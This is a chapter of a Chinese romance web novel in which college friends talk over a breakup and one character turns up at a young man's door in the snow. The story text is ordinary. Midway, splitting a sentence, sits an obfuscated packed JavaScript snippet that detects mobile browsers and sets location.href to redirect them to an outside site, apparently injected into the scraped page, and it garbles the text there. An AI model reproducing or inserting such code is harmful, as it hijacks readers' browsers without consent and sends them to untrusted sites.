46.大雪
作品:《姐你睡了吗》 韩佳子醒来的时候,漆黑的空气里天花板像被热气蒸发悬浮的大白布袋,不知几时几分。
寂静无声,连呼吸声都听不见,只觉食道酸涩、脑袋胀痛。
她微微起身,看见角落里隐着旗子般大小的白躁光,像月球正在反射阳光。她迷迷糊糊地又盯着看了一会,看见了光里盛安的脸。
盛安穿着睡衣,一言不发,一动不动,看过去无比专注,眼眸盯着光源,手指悄无声息地滑动页面,像个幽灵。
韩佳子愣愣的,下意识喊:“盛安?几点了?”
盛安太专注了,冷不丁听见声音,身体明显颤动了一下。但她很快就反应过来,从光源里抬起头,轻柔地说:“十一点三十四分。”
竟然睡到快中午了!想来是盛安不想打扰她睡觉,把窗帘拉成黑天。韩佳子猛然想起昨天晚上发生的一切,一下子从床上蹦起,大叫一声:“呀!”
昨晚自己借着酒劲说得那一大堆话,醒来时还隐约记得七成。她记得那个叫周波男的花臂男人,自我介绍是周周烧烤店的老板,说听了他们的对话很是欣赏,还说今天他生日,这顿免单,他请了。她却好似一点不领情,说谁要你请,老娘有的是钱。那花臂老板竟也不恼,只是笑笑。陈斌也不知怎得,明明喝得比她多多了,却还能跟周老板相谈甚欢,最后竟硬拉着薛嘉铭一起去了周老板的生日包厢,根本不理韩佳子。而自己则哭成个花脸,拒绝一同前去,最终被盛安带回了洗浴中心。
“盛安。”韩佳子瘪着嘴,“我昨天晚上还说了哪些很丢脸的话?”
盛安打开墙角一盏鸭蛋黄的氛围灯,合上电脑笔记本,走到床边,笑了一下,说:“没有,你讲得很好,颇有我的衣钵,情绪失控时嘴皮子反而最灵光,出口成章,堪称最佳辩手。”
“你!我!”韩佳子被逗笑了,嘴巴向上牵动一下,但又很快垮下去,“盛安,这下哈尔滨真成分手终点站了,我本来以为可以撑到大四毕业前的。”
盛安看着她:“这次是真要分了?”
韩佳子重重地点了下头,复又哀哀叹了口气:“早该分了,本来就不是一路人。”
盛安顿了一顿,终究还是掀开半边被子,跟韩佳子躺在了一个被窝里。
韩佳子何时看见过盛安主动贴近人,她一下子扑到盛安怀里,昨晚未卸糊了一脸的睫毛膏和粉底液一股脑擦在盛安的睡衣上。
盛安四肢纤细,但是她的胸是丰盈的,柔软的,像母亲。韩佳子听见她平稳的心跳,像个孩子一般嘤嘤地又哭起来。
盛安对这种距离的亲密明显很不习惯。她浑身僵硬,呆滞一会,最后还是犹豫地抱了抱韩佳子,轻轻抚摸她的背,一下又一下。
两个年轻的女孩子,像两只抵着脑袋抱团取暖窃窃私语的小鹌鹑。
韩佳子哭了一会,不哭了。盛安抽两张餐巾纸擦了擦她的脸。
“佳子。”盛安轻轻地说,“其实我一直有一个问题,很想问问你。”
“你说。”韩佳子餐巾纸垫在眼睑下方,看过去又搞笑又心酸。
盛安在心里组织了下语言,和缓地说:“大一时你就在寝室里说,你跟陈斌是两个世界的人,迟早要分开的。既然知道最终要分开,为什么还要在一起呢。为什么心理上做足了准备,真要分开还会那么伤心呢?”
韩佳子一愣,捂着脑袋想了一想,抽抽搭搭地说:“盛安……以前你跟我说,你从来没有喜欢过人……我不信,现在我真是信了……”
盛安静静地看着她。
“因为人是感情动物啊,不是机器!知道是一回事,能不能做到是另一回事!喜欢就是想在一起,分开了痛也是真痛,这些感受都是真的,我控制不住啊!”
盛安沉默了一会,她还是不太理解。
“可你是一开始就主动预料到必定会分开的,不是因为未知意外而被迫分开,这样怎么还能喜欢上呢?”
她不能理解的是这个。
韩佳子又是一愣,说:“本来校园恋爱成功率就不高啊,谁不知道大四毕业分手定律,很多人不也在谈,谈恋爱就是中间享受了就好啊。”
想了想,她突然抬起头,身子离开了些,问:“你是不是因为害怕分开,所以干脆不开始?”
盛安坐在床上,双手抱着曲起的膝盖,长发披散在脸颊的两侧。昏黄的灯光下,她的侧脸莹润怀旧地如一副老上海的海报。
“是吧……如果我真决定跟一个人在一起,那就是要永远,永远不分开……”
大概是房间里太黑了,又或者她太累了,盛安的声音呢喃得像是说梦话。
韩佳子觉得盛安好天真,好笑地追问:“可是不谈怎么知道合不合适,谈着谈着发现不合适了怎么办?”
盛安额头抵着膝盖,静静地说:“会死的。如果是我,会死的。”
韩佳子呆住,一时不知道该说些什么。
两个女孩彼此肩靠着肩,在沉默中各自发了一会呆。终究是韩佳子定力不够,想到了什么就又说出来了:“诶?昨天除了你以外,是不是还有一个男人陪着我回房间的?”
她脑海中隐约闪现一个画面。出烧烤店的时候,夜色无边寂寥,黯淡的仿佛一卷深重的黑色地毯。白色大雪从幕布里头纷纷扬扬落下来,像是高考结束那天被撕烂飞洒的试卷白纸。她被盛安带进了一辆车里,坐在后排,脑袋缩在盛安的怀里,嘴里碎碎叨念着什么。车开了没两分钟就停了,如同任意门一开一合,人瞬间就抵达终点。她贪恋车内温暖,不肯下车,盛安劝她半天,最终将她扶了出来。一个高高的男人安安静静地站在路边,在大雪中为她们撑着伞。
她记得自己踉跄下车时,往那个男人的脸上瞥去一眼。一张年少深俊的脸,眉眼漆黑得像是夜色。
盛安轻轻地点点头。
韩佳子回味过来:“是不是一个大帅哥?”
盛安噗嗤一声笑出来,手指点点她的脑袋:“你这人每天到底在想什么啊。”
韩佳子嚎一声:“在想用新欢代替旧爱,疗伤啊。”
盛安无语了。
“啊!”韩佳子不知想到什么,差点从床上蹦起来,“完了。”
“怎么了又?”盛安被她的一惊一乍搞到哑然失笑。
韩佳子捂住脸:“我真是搞砸了,我在车里是不是说薛嘉鸣本来计划今晚跟你表白的?你可千万别告诉他我把他秘密说出来了,这人脸皮可薄自尊心又强!”
昨天晚上,韩佳子在倏忽短暂的车内旅程中叨叨,盛安你醉了吗,薛嘉铭跟你表白了吗,他从新生报道就开始喜欢你啦。
她好像还说,盛安你是对的,同龄男生都幼稚得跟鬼一样。下次我一定要找个年纪大的成熟的,再也不陪男人长大了!
如今回想起来,车内好像只有她一人在说话。盛安是沉默的,前排的人也是沉默的,像这个城市的冰雪。
盛安趁韩佳子去浴室卸妆洗澡的时候,按响了隔壁薛嘉铭房间的门铃。
一会儿后门开了,薛嘉铭一个人待在房间里。他见着盛安,面色复杂地笑了笑。
“进来聊么?” 他邀请。
盛安摇头。
薛嘉铭苦涩地牵动一下嘴角,没说什么,顺着她意,站在门口说话。
两个人聊了一下陈斌和韩佳子的事,都有些尴尬和怅然。旅行路上最怕同伴中途分崩离析,整得跟诸葛亮出师表一样,创业未半而中道崩殂,这三分的四人要各奔东西了。
而盛安直接告诉他,不是三分,是要四分。
“韩佳子跟你们说了吗?我不去哈尔滨了。”盛安目光坦荡地看着薛嘉铭,“我还要休学一年。”
关于这件事,韩佳子已经提前跟他说过了。盛安本来也没有答应说要去哈尔滨。其实昨晚即便陈斌和韩佳子不吵,薛嘉铭也不会开口表白的。一个女生喜不喜欢自己,这一路上他感觉得出来。他不会做成功率极低的事,也无法忍受自尊心的当众挫败。这场旅行,于他而言,就是场还未开始笑就已经垮掉的笑话。
“盛安。”薛嘉铭觉得既然没挑明,他就可以当朋友问这个问题,“你呢,毕业后会留在北京吗?”
很多行业,很多工作,只有超级大城市才能寻到机会。
他是北京人,这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16465891|181704||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
世界上留给他的地方其实是很少的。他要么待在北京,要么就是去更发达的国外城市。水往下流,人往高走。而他三代都是北京人,家族关系决定他留在北京,生活是最舒服的。
全中国这么多小镇做题家拼了命地努力想抵达北京,而他已在北京根深蒂固。
盛安淡淡地说:“不留,我会回明城。”
*
韩佳子从浴室出来时,盛安还没回来。她一边用浴巾擦着头发,一边走到角落的桌上,那里放着盛安的电脑和一黑色本子。她下意识朝房门方向望去,自我感觉盛安跟薛嘉铭还需要一会,一缩肩膀,像做贼一样快速翻动了下本子。本子是新的,扉页写着盛安的名字。第一页的第一行,写着一个数字:159。然后接下来每一页的右上角,都跟倒计时一样,写着158,157,156,155......直到0。
159的那一页,则写满一系列教科书和练习册的书名。
韩佳子动了动她灵活的脑筋,费了半天功夫终于猜出来了。159是从今天开始到今年高考的倒计时天数。
*
林生一个人坐在旧书桌前。屋里冷得如同冰窖,玻璃窗上都是凝霜。他裹着床上的被子,双腿盘在椅子上。湛蓝玻璃窗外,天色残红,白色大雪在落日余晖中漫天纷飞。他的背影嵌在窗景里,像电影里漂流在冬日深海上的孤独少年,试图用自己一个人的力量,留住最后一丝日色。
书桌上,各科教科书和学校里发的练习册试卷等瘫成凌乱一叠叠,他翻完这本,又翻翻那本,数字和文字在他眼前如乱码跳动。他抚着太阳穴,头疼到苦笑。为了生存他欠下太多,连弥补都不知从何下手。
那深深的、苦涩的、坚硬的迷惘再一次如潮水般袭来,十八岁的少年站在人生抉择的路口。眼前有大道有野路,每一条都布满浓重幽深的迷雾。
罢了。他长长地呼出一口白气,双手交叉搁在脑后,身体后仰看向窗外。桦城的冬天是天寒地冻,这让他想起明城的冬天。没有桦城这么冷,毛线衫裹一羽绒服便可解决。但那股潮湿的阴冷,总会在不经意间,穿透人的每一个毛孔,扩散到四肢百骸。
明城冬天十七岁盛安的脸和桦城冬天二十一岁盛安的脸重重叠叠,慢慢汇聚成她单薄的背影,寂寥的眼神,和一下一下的白烟。
她说那些话时,是那么的斩钉截铁。
这个坚定的女人现在应该已经去火车站的路上了吧......他想。她今天一天都没有发自己任何信息。昨晚她的朋友说他们是下午五点四十的火车去哈尔滨。周波男说有缘相识,他开车送他们。
投行,工作几年,年薪百万。他知道盛安厉害,却也没想到会这么厉害。如果她真在这里陪自己半年,岂不是白白耽误掉五十万?
她不会的。林生想,她是个意志坚定的女生,不会真为了一个非亲非故、一无所有、甚至还有心结的他,耽误自己的大好前程。
他也不能。
想到这里,他揉了揉脸,打开台灯,继续垂死挣扎般垂头翻看练习册。
大雪继续泼洒人间,如白色蝴蝶漫天飞舞。
那一丝残红快要消失不见了。
一个人静静地走上水泥楼梯,抬起手,敲了敲门。
林生站在阳台的煤气灶前,正准备给自己下一碗面。
早过了退休年纪的抽油烟机声音大得像鼓风机,他什么都没有听见。
等面出锅,他端到书桌上,顺便看一眼手机。
上面有个未接来电,是盛安的。
他呼吸都暂停了一瞬,把手机捏在手里一会,最终还是回了电话。
电话里她的声音响起。
“林生?”
“嗯。”
他的声音里有面汤的热气,而她的声音听过去在颤抖。
“你怎么了?” 他听出寒意。
她在那头顿了一顿,说:“你在干嘛?”
林生犹豫了下,最终还是说了实话:“在吃饭。”
“在家里吃饭?”
“嗯。”
“那为什么不给我开门?”